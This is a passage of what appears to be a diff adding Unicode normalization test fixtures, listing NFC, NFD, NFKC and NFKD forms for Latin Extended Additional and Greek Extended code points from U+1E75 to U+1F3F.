+{ source: [0x1E75], NFC: [0x1E75], NFD: [0x0075, 0x0330], NFKC: [0x1E75], NFKD: [0x0075, 0x0330] },
+{ source: [0x1E76], NFC: [0x1E76], NFD: [0x0055, 0x032D], NFKC: [0x1E76], NFKD: [0x0055, 0x032D] },
+{ source: [0x1E77], NFC: [0x1E77], NFD: [0x0075, 0x032D], NFKC: [0x1E77], NFKD: [0x0075, 0x032D] },
+{ source: [0x1E78], NFC: [0x1E78], NFD: [0x0055, 0x0303, 0x0301], NFKC: [0x1E78], NFKD: [0x0055, 0x0303, 0x0301] },
+{ source: [0x1E79], NFC: [0x1E79], NFD: [0x0075, 0x0303, 0x0301], NFKC: [0x1E79], NFKD: [0x0075, 0x0303, 0x0301] },
+{ source: [0x1E7A], NFC: [0x1E7A], NFD: [0x0055, 0x0304, 0x0308], NFKC: [0x1E7A], NFKD: [0x0055, 0x0304, 0x0308] },
+{ source: [0x1E7B], NFC: [0x1E7B], NFD: [0x0075, 0x0304, 0x0308], NFKC: [0x1E7B], NFKD: [0x0075, 0x0304, 0x0308] },
+{ source: [0x1E7C], NFC: [0x1E7C], NFD: [0x0056, 0x0303], NFKC: [0x1E7C], NFKD: [0x0056, 0x0303] },
+{ source: [0x1E7D], NFC: [0x1E7D], NFD: [0x0076, 0x0303], NFKC: [0x1E7D], NFKD: [0x0076, 0x0303] },
+{ source: [0x1E7E], NFC: [0x1E7E], NFD: [0x0056, 0x0323], NFKC: [0x1E7E], NFKD: [0x0056, 0x0323] },
+{ source: [0x1E7F], NFC: [0x1E7F], NFD: [0x0076, 0x0323], NFKC: [0x1E7F], NFKD: [0x0076, 0x0323] },
+{ source: [0x1E80], NFC: [0x1E80], NFD: [0x0057, 0x0300], NFKC: [0x1E80], NFKD: [0x0057, 0x0300] },
+{ source: [0x1E81], NFC: [0x1E81], NFD: [0x0077, 0x0300], NFKC: [0x1E81], NFKD: [0x0077, 0x0300] },
+{ source: [0x1E82], NFC: [0x1E82], NFD: [0x0057, 0x0301], NFKC: [0x1E82], NFKD: [0x0057, 0x0301] },
+{ source: [0x1E83], NFC: [0x1E83], NFD: [0x0077, 0x0301], NFKC: [0x1E83], NFKD: [0x0077, 0x0301] },
+{ source: [0x1E84], NFC: [0x1E84], NFD: [0x0057, 0x0308], NFKC: [0x1E84], NFKD: [0x0057, 0x0308] },
+{ source: [0x1E85], NFC: [0x1E85], NFD: [0x0077, 0x0308], NFKC: [0x1E85], NFKD: [0x0077, 0x0308] },
+{ source: [0x1E86], NFC: [0x1E86], NFD: [0x0057, 0x0307], NFKC: [0x1E86], NFKD: [0x0057, 0x0307] },
+{ source: [0x1E87], NFC: [0x1E87], NFD: [0x0077, 0x0307], NFKC: [0x1E87], NFKD: [0x0077, 0x0307] },
+{ source: [0x1E88], NFC: [0x1E88], NFD: [0x0057, 0x0323], NFKC: [0x1E88], NFKD: [0x0057, 0x0323] },
+{ source: [0x1E89], NFC: [0x1E89], NFD: [0x0077, 0x0323], NFKC: [0x1E89], NFKD: [0x0077, 0x0323] },
+{ source: [0x1E8A], NFC: [0x1E8A], NFD: [0x0058, 0x0307], NFKC: [0x1E8A], NFKD: [0x0058, 0x0307] },
+{ source: [0x1E8B], NFC: [0x1E8B], NFD: [0x0078, 0x0307], NFKC: [0x1E8B], NFKD: [0x0078, 0x0307] },
+{ source: [0x1E8C], NFC: [0x1E8C], NFD: [0x0058, 0x0308], NFKC: [0x1E8C], NFKD: [0x0058, 0x0308] },
+{ source: [0x1E8D], NFC: [0x1E8D], NFD: [0x0078, 0x0308], NFKC: [0x1E8D], NFKD: [0x0078, 0x0308] },
+{ source: [0x1E8E], NFC: [0x1E8E], NFD: [0x0059, 0x0307], NFKC: [0x1E8E], NFKD: [0x0059, 0x0307] },
+{ source: [0x1E8F], NFC: [0x1E8F], NFD: [0x0079, 0x0307], NFKC: [0x1E8F], NFKD: [0x0079, 0x0307] },
+{ source: [0x1E90], NFC: [0x1E90], NFD: [0x005A, 0x0302], NFKC: [0x1E90], NFKD: [0x005A, 0x0302] },
+{ source: [0x1E91], NFC: [0x1E91], NFD: [0x007A, 0x0302], NFKC: [0x1E91], NFKD: [0x007A, 0x0302] },
+{ source: [0x1E92], NFC: [0x1E92], NFD: [0x005A, 0x0323], NFKC: [0x1E92], NFKD: [0x005A, 0x0323] },
+{ source: [0x1E93], NFC: [0x1E93], NFD: [0x007A, 0x0323], NFKC: [0x1E93], NFKD: [0x007A, 0x0323] },
+{ source: [0x1E94], NFC: [0x1E94], NFD: [0x005A, 0x0331], NFKC: [0x1E94], NFKD: [0x005A, 0x0331] },
+{ source: [0x1E95], NFC: [0x1E95], NFD: [0x007A, 0x0331], NFKC: [0x1E95], NFKD: [0x007A, 0x0331] },
+{ source: [0x1E96], NFC: [0x1E96], NFD: [0x0068, 0x0331], NFKC: [0x1E96], NFKD: [0x0068, 0x0331] },
+{ source: [0x1E97], NFC: [0x1E97], NFD: [0x0074, 0x0308], NFKC: [0x1E97], NFKD: [0x0074, 0x0308] },
+{ source: [0x1E98], NFC: [0x1E98], NFD: [0x0077, 0x030A], NFKC: [0x1E98], NFKD: [0x0077, 0x030A] },
+{ source: [0x1E99], NFC: [0x1E99], NFD: [0x0079, 0x030A], NFKC: [0x1E99], NFKD: [0x0079, 0x030A] },
+{ source: [0x1E9A], NFC: [0x1E9A], NFD: [0x1E9A], NFKC: [0x0061, 0x02BE], NFKD: [0x0061, 0x02BE] },
+{ source: [0x1E9B], NFC: [0x1E9B], NFD: [0x017F, 0x0307], NFKC: [0x1E61], NFKD: [0x0073, 0x0307] },
+{ source: [0x1EA0], NFC: [0x1EA0], NFD: [0x0041, 0x0323], NFKC: [0x1EA0], NFKD: [0x0041, 0x0323] },
+{ source: [0x1EA1], NFC: [0x1EA1], NFD: [0x0061, 0x0323], NFKC: [0x1EA1], NFKD: [0x0061, 0x0323] },
+{ source: [0x1EA2], NFC: [0x1EA2], NFD: [0x0041, 0x0309], NFKC: [0x1EA2], NFKD: [0x0041, 0x0309] },
+{ source: [0x1EA3], NFC: [0x1EA3], NFD: [0x0061, 0x0309], NFKC: [0x1EA3], NFKD: [0x0061, 0x0309] },
+{ source: [0x1EA4], NFC: [0x1EA4], NFD: [0x0041, 0x0302, 0x0301], NFKC: [0x1EA4], NFKD: [0x0041, 0x0302, 0x0301] },
+{ source: [0x1EA5], NFC: [0x1EA5], NFD: [0x0061, 0x0302, 0x0301], NFKC: [0x1EA5], NFKD: [0x0061, 0x0302, 0x0301] },
+{ source: [0x1EA6], NFC: [0x1EA6], NFD: [0x0041, 0x0302, 0x0300], NFKC: [0x1EA6], NFKD: [0x0041, 0x0302, 0x0300] },
+{ source: [0x1EA7], NFC: [0x1EA7], NFD: [0x0061, 0x0302, 0x0300], NFKC: [0x1EA7], NFKD: [0x0061, 0x0302, 0x0300] },
+{ source: [0x1EA8], NFC: [0x1EA8], NFD: [0x0041, 0x0302, 0x0309], NFKC: [0x1EA8], NFKD: [0x0041, 0x0302, 0x0309] },
+{ source: [0x1EA9], NFC: [0x1EA9], NFD: [0x0061, 0x0302, 0x0309], NFKC: [0x1EA9], NFKD: [0x0061, 0x0302, 0x0309] },
+{ source: [0x1EAA], NFC: [0x1EAA], NFD: [0x0041, 0x0302, 0x0303], NFKC: [0x1EAA], NFKD: [0x0041, 0x0302, 0x0303] },
+{ source: [0x1EAB], NFC: [0x1EAB], NFD: [0x0061, 0x0302, 0x0303], NFKC: [0x1EAB], NFKD: [0x0061, 0x0302, 0x0303] },
+{ source: [0x1EAC], NFC: [0x1EAC], NFD: [0x0041, 0x0323, 0x0302], NFKC: [0x1EAC], NFKD: [0x0041, 0x0323, 0x0302] },
+{ source: [0x1EAD], NFC: [0x1EAD], NFD: [0x0061, 0x0323, 0x0302], NFKC: [0x1EAD], NFKD: [0x0061, 0x0323, 0x0302] },
+{ source: [0x1EAE], NFC: [0x1EAE], NFD: [0x0041, 0x0306, 0x0301], NFKC: [0x1EAE], NFKD: [0x0041, 0x0306, 0x0301] },
+{ source: [0x1EAF], NFC: [0x1EAF], NFD: [0x0061, 0x0306, 0x0301], NFKC: [0x1EAF], NFKD: [0x0061, 0x0306, 0x0301] },
+{ source: [0x1EB0], NFC: [0x1EB0], NFD: [0x0041, 0x0306, 0x0300], NFKC: [0x1EB0], NFKD: [0x0041, 0x0306, 0x0300] },
+{ source: [0x1EB1], NFC: [0x1EB1], NFD: [0x0061, 0x0306, 0x0300], NFKC: [0x1EB1], NFKD: [0x0061, 0x0306, 0x0300] },
+{ source: [0x1EB2], NFC: [0x1EB2], NFD: [0x0041, 0x0306, 0x0309], NFKC: [0x1EB2], NFKD: [0x0041, 0x0306, 0x0309] },
+{ source: [0x1EB3], NFC: [0x1EB3], NFD: [0x0061, 0x0306, 0x0309], NFKC: [0x1EB3], NFKD: [0x0061, 0x0306, 0x0309] },
+{ source: [0x1EB4], NFC: [0x1EB4], NFD: [0x0041, 0x0306, 0x0303], NFKC: [0x1EB4], NFKD: [0x0041, 0x0306, 0x0303] },
+{ source: [0x1EB5], NFC: [0x1EB5], NFD: [0x0061, 0x0306, 0x0303], NFKC: [0x1EB5], NFKD: [0x0061, 0x0306, 0x0303] },
+{ source: [0x1EB6], NFC: [0x1EB6], NFD: [0x0041, 0x0323, 0x0306], NFKC: [0x1EB6], NFKD: [0x0041, 0x0323, 0x0306] },
+{ source: [0x1EB7], NFC: [0x1EB7], NFD: [0x0061, 0x0323, 0x0306], NFKC: [0x1EB7], NFKD: [0x0061, 0x0323, 0x0306] },
+{ source: [0x1EB8], NFC: [0x1EB8], NFD: [0x0045, 0x0323], NFKC: [0x1EB8], NFKD: [0x0045, 0x0323] },
+{ source: [0x1EB9], NFC: [0x1EB9], NFD: [0x0065, 0x0323], NFKC: [0x1EB9], NFKD: [0x0065, 0x0323] },
+{ source: [0x1EBA], NFC: [0x1EBA], NFD: [0x0045, 0x0309], NFKC: [0x1EBA], NFKD: [0x0045, 0x0309] },
+{ source: [0x1EBB], NFC: [0x1EBB], NFD: [0x0065, 0x0309], NFKC: [0x1EBB], NFKD: [0x0065, 0x0309] },
+{ source: [0x1EBC], NFC: [0x1EBC], NFD: [0x0045, 0x0303], NFKC: [0x1EBC], NFKD: [0x0045, 0x0303] },
+{ source: [0x1EBD], NFC: [0x1EBD], NFD: [0x0065, 0x0303], NFKC: [0x1EBD], NFKD: [0x0065, 0x0303] },
+{ source: [0x1EBE], NFC: [0x1EBE], NFD: [0x0045, 0x0302, 0x0301], NFKC: [0x1EBE], NFKD: [0x0045, 0x0302, 0x0301] },
+{ source: [0x1EBF], NFC: [0x1EBF], NFD: [0x0065, 0x0302, 0x0301], NFKC: [0x1EBF], NFKD: [0x0065, 0x0302, 0x0301] },
+{ source: [0x1EC0], NFC: [0x1EC0], NFD: [0x0045, 0x0302, 0x0300], NFKC: [0x1EC0], NFKD: [0x0045, 0x0302, 0x0300] },
+{ source: [0x1EC1], NFC: [0x1EC1], NFD: [0x0065, 0x0302, 0x0300], NFKC: [0x1EC1], NFKD: [0x0065, 0x0302, 0x0300] },
+{ source: [0x1EC2], NFC: [0x1EC2], NFD: [0x0045, 0x0302, 0x0309], NFKC: [0x1EC2], NFKD: [0x0045, 0x0302, 0x0309] },
+{ source: [0x1EC3], NFC: [0x1EC3], NFD: [0x0065, 0x0302, 0x0309], NFKC: [0x1EC3], NFKD: [0x0065, 0x0302, 0x0309] },
+{ source: [0x1EC4], NFC: [0x1EC4], NFD: [0x0045, 0x0302, 0x0303], NFKC: [0x1EC4], NFKD: [0x0045, 0x0302, 0x0303] },
+{ source: [0x1EC5], NFC: [0x1EC5], NFD: [0x0065, 0x0302, 0x0303], NFKC: [0x1EC5], NFKD: [0x0065, 0x0302, 0x0303] },
+{ source: [0x1EC6], NFC: [0x1EC6], NFD: [0x0045, 0x0323, 0x0302], NFKC: [0x1EC6], NFKD: [0x0045, 0x0323, 0x0302] },
+{ source: [0x1EC7], NFC: [0x1EC7], NFD: [0x0065, 0x0323, 0x0302], NFKC: [0x1EC7], NFKD: [0x0065, 0x0323, 0x0302] },
+{ source: [0x1EC8], NFC: [0x1EC8], NFD: [0x0049, 0x0309], NFKC: [0x1EC8], NFKD: [0x0049, 0x0309] },
+{ source: [0x1EC9], NFC: [0x1EC9], NFD: [0x0069, 0x0309], NFKC: [0x1EC9], NFKD: [0x0069, 0x0309] },
+{ source: [0x1ECA], NFC: [0x1ECA], NFD: [0x0049, 0x0323], NFKC: [0x1ECA], NFKD: [0x0049, 0x0323] },
+{ source: [0x1ECB], NFC: [0x1ECB], NFD: [0x0069, 0x0323], NFKC: [0x1ECB], NFKD: [0x0069, 0x0323] },
+{ source: [0x1ECC], NFC: [0x1ECC], NFD: [0x004F, 0x0323], NFKC: [0x1ECC], NFKD: [0x004F, 0x0323] },
+{ source: [0x1ECD], NFC: [0x1ECD], NFD: [0x006F, 0x0323], NFKC: [0x1ECD], NFKD: [0x006F, 0x0323] },
+{ source: [0x1ECE], NFC: [0x1ECE], NFD: [0x004F, 0x0309], NFKC: [0x1ECE], NFKD: [0x004F, 0x0309] },
+{ source: [0x1ECF], NFC: [0x1ECF], NFD: [0x006F, 0x0309], NFKC: [0x1ECF], NFKD: [0x006F, 0x0309] },
+{ source: [0x1ED0], NFC: [0x1ED0], NFD: [0x004F, 0x0302, 0x0301], NFKC: [0x1ED0], NFKD: [0x004F, 0x0302, 0x0301] },
+{ source: [0x1ED1], NFC: [0x1ED1], NFD: [0x006F, 0x0302, 0x0301], NFKC: [0x1ED1], NFKD: [0x006F, 0x0302, 0x0301] },
+{ source: [0x1ED2], NFC: [0x1ED2], NFD: [0x004F, 0x0302, 0x0300], NFKC: [0x1ED2], NFKD: [0x004F, 0x0302, 0x0300] },
+{ source: [0x1ED3], NFC: [0x1ED3], NFD: [0x006F, 0x0302, 0x0300], NFKC: [0x1ED3], NFKD: [0x006F, 0x0302, 0x0300] },
+{ source: [0x1ED4], NFC: [0x1ED4], NFD: [0x004F, 0x0302, 0x0309], NFKC: [0x1ED4], NFKD: [0x004F, 0x0302, 0x0309] },
+{ source: [0x1ED5], NFC: [0x1ED5], NFD: [0x006F, 0x0302, 0x0309], NFKC: [0x1ED5], NFKD: [0x006F, 0x0302, 0x0309] },
+{ source: [0x1ED6], NFC: [0x1ED6], NFD: [0x004F, 0x0302, 0x0303], NFKC: [0x1ED6], NFKD: [0x004F, 0x0302, 0x0303] },
+{ source: [0x1ED7], NFC: [0x1ED7], NFD: [0x006F, 0x0302, 0x0303], NFKC: [0x1ED7], NFKD: [0x006F, 0x0302, 0x0303] },
+{ source: [0x1ED8], NFC: [0x1ED8], NFD: [0x004F, 0x0323, 0x0302], NFKC: [0x1ED8], NFKD: [0x004F, 0x0323, 0x0302] },
+{ source: [0x1ED9], NFC: [0x1ED9], NFD: [0x006F, 0x0323, 0x0302], NFKC: [0x1ED9], NFKD: [0x006F, 0x0323, 0x0302] },
+{ source: [0x1EDA], NFC: [0x1EDA], NFD: [0x004F, 0x031B, 0x0301], NFKC: [0x1EDA], NFKD: [0x004F, 0x031B, 0x0301] },
+{ source: [0x1EDB], NFC: [0x1EDB], NFD: [0x006F, 0x031B, 0x0301], NFKC: [0x1EDB], NFKD: [0x006F, 0x031B, 0x0301] },
+{ source: [0x1EDC], NFC: [0x1EDC], NFD: [0x004F, 0x031B, 0x0300], NFKC: [0x1EDC], NFKD: [0x004F, 0x031B, 0x0300] },
+{ source: [0x1EDD], NFC: [0x1EDD], NFD: [0x006F, 0x031B, 0x0300], NFKC: [0x1EDD], NFKD: [0x006F, 0x031B, 0x0300] },
+{ source: [0x1EDE], NFC: [0x1EDE], NFD: [0x004F, 0x031B, 0x0309], NFKC: [0x1EDE], NFKD: [0x004F, 0x031B, 0x0309] },
+{ source: [0x1EDF], NFC: [0x1EDF], NFD: [0x006F, 0x031B, 0x0309], NFKC: [0x1EDF], NFKD: [0x006F, 0x031B, 0x0309] },
+{ source: [0x1EE0], NFC: [0x1EE0], NFD: [0x004F, 0x031B, 0x0303], NFKC: [0x1EE0], NFKD: [0x004F, 0x031B, 0x0303] },
+{ source: [0x1EE1], NFC: [0x1EE1], NFD: [0x006F, 0x031B, 0x0303], NFKC: [0x1EE1], NFKD: [0x006F, 0x031B, 0x0303] },
+{ source: [0x1EE2], NFC: [0x1EE2], NFD: [0x004F, 0x031B, 0x0323], NFKC: [0x1EE2], NFKD: [0x004F, 0x031B, 0x0323] },
+{ source: [0x1EE3], NFC: [0x1EE3], NFD: [0x006F, 0x031B, 0x0323], NFKC: [0x1EE3], NFKD: [0x006F, 0x031B, 0x0323] },
+{ source: [0x1EE4], NFC: [0x1EE4], NFD: [0x0055, 0x0323], NFKC: [0x1EE4], NFKD: [0x0055, 0x0323] },
+{ source: [0x1EE5], NFC: [0x1EE5], NFD: [0x0075, 0x0323], NFKC: [0x1EE5], NFKD: [0x0075, 0x0323] },
+{ source: [0x1EE6], NFC: [0x1EE6], NFD: [0x0055, 0x0309], NFKC: [0x1EE6], NFKD: [0x0055, 0x0309] },
+{ source: [0x1EE7], NFC: [0x1EE7], NFD: [0x0075, 0x0309], NFKC: [0x1EE7], NFKD: [0x0075, 0x0309] },
+{ source: [0x1EE8], NFC: [0x1EE8], NFD: [0x0055, 0x031B, 0x0301], NFKC: [0x1EE8], NFKD: [0x0055, 0x031B, 0x0301] },
+{ source: [0x1EE9], NFC: [0x1EE9], NFD: [0x0075, 0x031B, 0x0301], NFKC: [0x1EE9], NFKD: [0x0075, 0x031B, 0x0301] },
+{ source: [0x1EEA], NFC: [0x1EEA], NFD: [0x0055, 0x031B, 0x0300], NFKC: [0x1EEA], NFKD: [0x0055, 0x031B, 0x0300] },
+{ source: [0x1EEB], NFC: [0x1EEB], NFD: [0x0075, 0x031B, 0x0300], NFKC: [0x1EEB], NFKD: [0x0075, 0x031B, 0x0300] },
+{ source: [0x1EEC], NFC: [0x1EEC], NFD: [0x0055, 0x031B, 0x0309], NFKC: [0x1EEC], NFKD: [0x0055, 0x031B, 0x0309] },
+{ source: [0x1EED], NFC: [0x1EED], NFD: [0x0075, 0x031B, 0x0309], NFKC: [0x1EED], NFKD: [0x0075, 0x031B, 0x0309] },
+{ source: [0x1EEE], NFC: [0x1EEE], NFD: [0x0055, 0x031B, 0x0303], NFKC: [0x1EEE], NFKD: [0x0055, 0x031B, 0x0303] },
+{ source: [0x1EEF], NFC: [0x1EEF], NFD: [0x0075, 0x031B, 0x0303], NFKC: [0x1EEF], NFKD: [0x0075, 0x031B, 0x0303] },
+{ source: [0x1EF0], NFC: [0x1EF0], NFD: [0x0055, 0x031B, 0x0323], NFKC: [0x1EF0], NFKD: [0x0055, 0x031B, 0x0323] },
+{ source: [0x1EF1], NFC: [0x1EF1], NFD: [0x0075, 0x031B, 0x0323], NFKC: [0x1EF1], NFKD: [0x0075, 0x031B, 0x0323] },
+{ source: [0x1EF2], NFC: [0x1EF2], NFD: [0x0059, 0x0300], NFKC: [0x1EF2], NFKD: [0x0059, 0x0300] },
+{ source: [0x1EF3], NFC: [0x1EF3], NFD: [0x0079, 0x0300], NFKC: [0x1EF3], NFKD: [0x0079, 0x0300] },
+{ source: [0x1EF4], NFC: [0x1EF4], NFD: [0x0059, 0x0323], NFKC: [0x1EF4], NFKD: [0x0059, 0x0323] },
+{ source: [0x1EF5], NFC: [0x1EF5], NFD: [0x0079, 0x0323], NFKC: [0x1EF5], NFKD: [0x0079, 0x0323] },
+{ source: [0x1EF6], NFC: [0x1EF6], NFD: [0x0059, 0x0309], NFKC: [0x1EF6], NFKD: [0x0059, 0x0309] },
+{ source: [0x1EF7], NFC: [0x1EF7], NFD: [0x0079, 0x0309], NFKC: [0x1EF7], NFKD: [0x0079, 0x0309] },
+{ source: [0x1EF8], NFC: [0x1EF8], NFD: [0x0059, 0x0303], NFKC: [0x1EF8], NFKD: [0x0059, 0x0303] },
+{ source: [0x1EF9], NFC: [0x1EF9], NFD: [0x0079, 0x0303], NFKC: [0x1EF9], NFKD: [0x0079, 0x0303] },
+{ source: [0x1F00], NFC: [0x1F00], NFD: [0x03B1, 0x0313], NFKC: [0x1F00], NFKD: [0x03B1, 0x0313] },
+{ source: [0x1F01], NFC: [0x1F01], NFD: [0x03B1, 0x0314], NFKC: [0x1F01], NFKD: [0x03B1, 0x0314] },
+{ source: [0x1F02], NFC: [0x1F02], NFD: [0x03B1, 0x0313, 0x0300], NFKC: [0x1F02], NFKD: [0x03B1, 0x0313, 0x0300] },
+{ source: [0x1F03], NFC: [0x1F03], NFD: [0x03B1, 0x0314, 0x0300], NFKC: [0x1F03], NFKD: [0x03B1, 0x0314, 0x0300] },
+{ source: [0x1F04], NFC: [0x1F04], NFD: [0x03B1, 0x0313, 0x0301], NFKC: [0x1F04], NFKD: [0x03B1, 0x0313, 0x0301] },
+{ source: [0x1F05], NFC: [0x1F05], NFD: [0x03B1, 0x0314, 0x0301], NFKC: [0x1F05], NFKD: [0x03B1, 0x0314, 0x0301] },
+{ source: [0x1F06], NFC: [0x1F06], NFD: [0x03B1, 0x0313, 0x0342], NFKC: [0x1F06], NFKD: [0x03B1, 0x0313, 0x0342] },
+{ source: [0x1F07], NFC: [0x1F07], NFD: [0x03B1, 0x0314, 0x0342], NFKC: [0x1F07], NFKD: [0x03B1, 0x0314, 0x0342] },
+{ source: [0x1F08], NFC: [0x1F08], NFD: [0x0391, 0x0313], NFKC: [0x1F08], NFKD: [0x0391, 0x0313] },
+{ source: [0x1F09], NFC: [0x1F09], NFD: [0x0391, 0x0314], NFKC: [0x1F09], NFKD: [0x0391, 0x0314] },
+{ source: [0x1F0A], NFC: [0x1F0A], NFD: [0x0391, 0x0313, 0x0300], NFKC: [0x1F0A], NFKD: [0x0391, 0x0313, 0x0300] },
+{ source: [0x1F0B], NFC: [0x1F0B], NFD: [0x0391, 0x0314, 0x0300], NFKC: [0x1F0B], NFKD: [0x0391, 0x0314, 0x0300] },
+{ source: [0x1F0C], NFC: [0x1F0C], NFD: [0x0391, 0x0313, 0x0301], NFKC: [0x1F0C], NFKD: [0x0391, 0x0313, 0x0301] },
+{ source: [0x1F0D], NFC: [0x1F0D], NFD: [0x0391, 0x0314, 0x0301], NFKC: [0x1F0D], NFKD: [0x0391, 0x0314, 0x0301] },
+{ source: [0x1F0E], NFC: [0x1F0E], NFD: [0x0391, 0x0313, 0x0342], NFKC: [0x1F0E], NFKD: [0x0391, 0x0313, 0x0342] },
+{ source: [0x1F0F], NFC: [0x1F0F], NFD: [0x0391, 0x0314, 0x0342], NFKC: [0x1F0F], NFKD: [0x0391, 0x0314, 0x0342] },
+{ source: [0x1F10], NFC: [0x1F10], NFD: [0x03B5, 0x0313], NFKC: [0x1F10], NFKD: [0x03B5, 0x0313] },
+{ source: [0x1F11], NFC: [0x1F11], NFD: [0x03B5, 0x0314], NFKC: [0x1F11], NFKD: [0x03B5, 0x0314] },
+{ source: [0x1F12], NFC: [0x1F12], NFD: [0x03B5, 0x0313, 0x0300], NFKC: [0x1F12], NFKD: [0x03B5, 0x0313, 0x0300] },
+{ source: [0x1F13], NFC: [0x1F13], NFD: [0x03B5, 0x0314, 0x0300], NFKC: [0x1F13], NFKD: [0x03B5, 0x0314, 0x0300] },
+{ source: [0x1F14], NFC: [0x1F14], NFD: [0x03B5, 0x0313, 0x0301], NFKC: [0x1F14], NFKD: [0x03B5, 0x0313, 0x0301] },
+{ source: [0x1F15], NFC: [0x1F15], NFD: [0x03B5, 0x0314, 0x0301], NFKC: [0x1F15], NFKD: [0x03B5, 0x0314, 0x0301] },
+{ source: [0x1F18], NFC: [0x1F18], NFD: [0x0395, 0x0313], NFKC: [0x1F18], NFKD: [0x0395, 0x0313] },
+{ source: [0x1F19], NFC: [0x1F19], NFD: [0x0395, 0x0314], NFKC: [0x1F19], NFKD: [0x0395, 0x0314] },
+{ source: [0x1F1A], NFC: [0x1F1A], NFD: [0x0395, 0x0313, 0x0300], NFKC: [0x1F1A], NFKD: [0x0395, 0x0313, 0x0300] },
+{ source: [0x1F1B], NFC: [0x1F1B], NFD: [0x0395, 0x0314, 0x0300], NFKC: [0x1F1B], NFKD: [0x0395, 0x0314, 0x0300] },
+{ source: [0x1F1C], NFC: [0x1F1C], NFD: [0x0395, 0x0313, 0x0301], NFKC: [0x1F1C], NFKD: [0x0395, 0x0313, 0x0301] },
+{ source: [0x1F1D], NFC: [0x1F1D], NFD: [0x0395, 0x0314, 0x0301], NFKC: [0x1F1D], NFKD: [0x0395, 0x0314, 0x0301] },
+{ source: [0x1F20], NFC: [0x1F20], NFD: [0x03B7, 0x0313], NFKC: [0x1F20], NFKD: [0x03B7, 0x0313] },
+{ source: [0x1F21], NFC: [0x1F21], NFD: [0x03B7, 0x0314], NFKC: [0x1F21], NFKD: [0x03B7, 0x0314] },
+{ source: [0x1F22], NFC: [0x1F22], NFD: [0x03B7, 0x0313, 0x0300], NFKC: [0x1F22], NFKD: [0x03B7, 0x0313, 0x0300] },
+{ source: [0x1F23], NFC: [0x1F23], NFD: [0x03B7, 0x0314, 0x0300], NFKC: [0x1F23], NFKD: [0x03B7, 0x0314, 0x0300] },
+{ source: [0x1F24], NFC: [0x1F24], NFD: [0x03B7, 0x0313, 0x0301], NFKC: [0x1F24], NFKD: [0x03B7, 0x0313, 0x0301] },
+{ source: [0x1F25], NFC: [0x1F25], NFD: [0x03B7, 0x0314, 0x0301], NFKC: [0x1F25], NFKD: [0x03B7, 0x0314, 0x0301] },
+{ source: [0x1F26], NFC: [0x1F26], NFD: [0x03B7, 0x0313, 0x0342], NFKC: [0x1F26], NFKD: [0x03B7, 0x0313, 0x0342] },
+{ source: [0x1F27], NFC: [0x1F27], NFD: [0x03B7, 0x0314, 0x0342], NFKC: [0x1F27], NFKD: [0x03B7, 0x0314, 0x0342] },
+{ source: [0x1F28], NFC: [0x1F28], NFD: [0x0397, 0x0313], NFKC: [0x1F28], NFKD: [0x0397, 0x0313] },
+{ source: [0x1F29], NFC: [0x1F29], NFD: [0x0397, 0x0314], NFKC: [0x1F29], NFKD: [0x0397, 0x0314] },
+{ source: [0x1F2A], NFC: [0x1F2A], NFD: [0x0397, 0x0313, 0x0300], NFKC: [0x1F2A], NFKD: [0x0397, 0x0313, 0x0300] },
+{ source: [0x1F2B], NFC: [0x1F2B], NFD: [0x0397, 0x0314, 0x0300], NFKC: [0x1F2B], NFKD: [0x0397, 0x0314, 0x0300] },
+{ source: [0x1F2C], NFC: [0x1F2C], NFD: [0x0397, 0x0313, 0x0301], NFKC: [0x1F2C], NFKD: [0x0397, 0x0313, 0x0301] },
+{ source: [0x1F2D], NFC: [0x1F2D], NFD: [0x0397, 0x0314, 0x0301], NFKC: [0x1F2D], NFKD: [0x0397, 0x0314, 0x0301] },
+{ source: [0x1F2E], NFC: [0x1F2E], NFD: [0x0397, 0x0313, 0x0342], NFKC: [0x1F2E], NFKD: [0x0397, 0x0313, 0x0342] },
+{ source: [0x1F2F], NFC: [0x1F2F], NFD: [0x0397, 0x0314, 0x0342], NFKC: [0x1F2F], NFKD: [0x0397, 0x0314, 0x0342] },
+{ source: [0x1F30], NFC: [0x1F30], NFD: [0x03B9, 0x0313], NFKC: [0x1F30], NFKD: [0x03B9, 0x0313] },
+{ source: [0x1F31], NFC: [0x1F31], NFD: [0x03B9, 0x0314], NFKC: [0x1F31], NFKD: [0x03B9, 0x0314] },
+{ source: [0x1F32], NFC: [0x1F32], NFD: [0x03B9, 0x0313, 0x0300], NFKC: [0x1F32], NFKD: [0x03B9, 0x0313, 0x0300] },
+{ source: [0x1F33], NFC: [0x1F33], NFD: [0x03B9, 0x0314, 0x0300], NFKC: [0x1F33], NFKD: [0x03B9, 0x0314, 0x0300] },
+{ source: [0x1F34], NFC: [0x1F34], NFD: [0x03B9, 0x0313, 0x0301], NFKC: [0x1F34], NFKD: [0x03B9, 0x0313, 0x0301] },
+{ source: [0x1F35], NFC: [0x1F35], NFD: [0x03B9, 0x0314, 0x0301], NFKC: [0x1F35], NFKD: [0x03B9, 0x0314, 0x0301] },
+{ source: [0x1F36], NFC: [0x1F36], NFD: [0x03B9, 0x0313, 0x0342], NFKC: [0x1F36], NFKD: [0x03B9, 0x0313, 0x0342] },
+{ source: [0x1F37], NFC: [0x1F37], NFD: [0x03B9, 0x0314, 0x0342], NFKC: [0x1F37], NFKD: [0x03B9, 0x0314, 0x0342] },
+{ source: [0x1F38], NFC: [0x1F38], NFD: [0x0399, 0x0313], NFKC: [0x1F38], NFKD: [0x0399, 0x0313] },
+{ source: [0x1F39], NFC: [0x1F39], NFD: [0x0399, 0x0314], NFKC: [0x1F39], NFKD: [0x0399, 0x0314] },
+{ source: [0x1F3A], NFC: [0x1F3A], NFD: [0x0399, 0x0313, 0x0300], NFKC: [0x1F3A], NFKD: [0x0399, 0x0313, 0x0300] },
+{ source: [0x1F3B], NFC: [0x1F3B], NFD: [0x0399, 0x0314, 0x0300], NFKC: [0x1F3B], NFKD: [0x0399, 0x0314, 0x0300] },
+{ source: [0x1F3C], NFC: [0x1F3C], NFD: [0x0399, 0x0313, 0x0301], NFKC: [0x1F3C], NFKD: [0x0399, 0x0313, 0x0301] },
+{ source: [0x1F3D], NFC: [0x1F3D], NFD: [0x0399, 0x0314, 0x0301], NFKC: [0x1F3D], NFKD: [0x0399, 0x0314, 0x0301] },
+{ source: [0x1F3E], NFC: [0x1F3E], NFD: [0x0399, 0x0313, 0x0342], NFKC: [0x1F3E], NFKD: [0x0399, 0x0313, 0x0342] },
+{ source: [0x1F3F], NFC: [0x1F3F], NFD: [0x0399, 0x0314, 0x0342], NFKC: [0x1F3F], NFKD: [0x0399, 0x0314, 0x0342] },
